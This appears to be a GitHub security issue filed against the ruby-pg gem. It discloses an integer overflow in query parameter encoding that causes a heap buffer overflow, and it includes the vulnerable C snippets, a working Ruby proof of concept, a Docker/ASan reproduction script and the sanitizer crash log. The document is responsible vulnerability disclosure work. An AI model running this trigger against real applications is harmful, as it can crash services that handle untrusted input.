Skip to content

DFVULN-797: Integer Overflow in Query Parameter Encoding Causes Heap Buffer Overflow #719

@larskanis

Description

@larskanis

Summary

PG::Connection#send_query_params accumulates encoded parameter sizes in 32-bit-sized accounting. Many large bytea parameters wrap the typecast buffer size, then the bytea encoder writes past the allocation.

Version

Software: ruby-pg
Version: 1.6.3
Commit: 59296b0

Details

alloc_query_params uses an unsigned int for the running pool size.

unsigned int required_pool_size;
...
required_pool_size = nParams * (
		sizeof(char *) +
		sizeof(int) +
		sizeof(int) +
		(paramsData->with_types ? sizeof(Oid) : 0));

ext/pg_connection.c:1284

Each encoded parameter advances that 32-bit counter by len + 1. With many large parameters this wraps, so later allocations are based on a smaller value than the encoder will write.

typecast_buf = alloc_typecast_buf( &paramsData->typecast_heap_chain, len + 1 );
...
len = enc_func(conv, param_value, typecast_buf, &intermediate, paramsData->enc_idx);
...
required_pool_size += len + 1;

ext/pg_connection.c:1382

The bytea encoder then writes \x plus two hex bytes per input byte into that undersized buffer.

*optr++ = '\\';
*optr++ = 'x';
...
*optr++ = hextab[c >> 4];
*optr++ = hextab[c & 0xf];

ext/pg_text_encoder.c:423

The PoC is inline below:

$stdout.sync = true
$stderr.sync = true
require 'pg'
big_count = 100
step = 42_949_673
big_len = (step - 3) / 2
wrap = (big_count * step) & 0xffff_ffff
big = 'A'.b * big_len
params = Array.new(big_count, big)
tm = PG::TypeMapByClass.new
(tm[String] = PG::TextEncoder::Bytea.new).freeze
conn = PG::Connection.connect_start('host=127.0.0.1 port=1 connect_timeout=1')
puts "status=#{conn.status} big_len=#{big_len} count=#{big_count} wrap=#{wrap}"
conn.send_query_params('select 1', params, 0, tm)

Reproduce

Create poc.rb from the inline artifact below, then run this on a machine with Docker:

mkdir -p dfvuln-797 && cp poc.rb dfvuln-797/ && cd dfvuln-797
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'

The reproduced sanitizer stack is included inline below:

==3525==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
    #0 0xffffa1188f78 in pg_text_enc_bytea /tmp/src/ext/pg_text_encoder.c:423
    #1 0xffffa1164788 in alloc_query_params /tmp/src/ext/pg_connection.c:1386
    #2 0xffffa1167170 in pgconn_send_query_params /tmp/src/ext/pg_connection.c:2049
0xfffe822af431 is located 0 bytes to the right of 42949681-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/src/ext/pg_text_encoder.c:423 in pg_text_enc_bytea

Inline reproduction artifact(s):

poc.rb

$stdout.sync = true
$stderr.sync = true

require 'pg'

big_count = 100
step = 42_949_673
big_len = (step - 3) / 2
wrap = (big_count * step) & 0xffff_ffff

big = 'A'.b * big_len
params = Array.new(big_count, big)

tm = PG::TypeMapByClass.new
(tm[String] = PG::TextEncoder::Bytea.new).freeze

conn = PG::Connection.connect_start('host=127.0.0.1 port=1 connect_timeout=1')
puts "status=#{conn.status} big_len=#{big_len} count=#{big_count} wrap=#{wrap}"
conn.send_query_params('select 1', params, 0, tm)

Security Impact

This is a heap buffer overflow while preparing query parameters. It can crash a Ruby process that encodes large attacker-controlled parameter arrays.

Credit

Zheng Yu from depthfirst (depthfirst.com)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions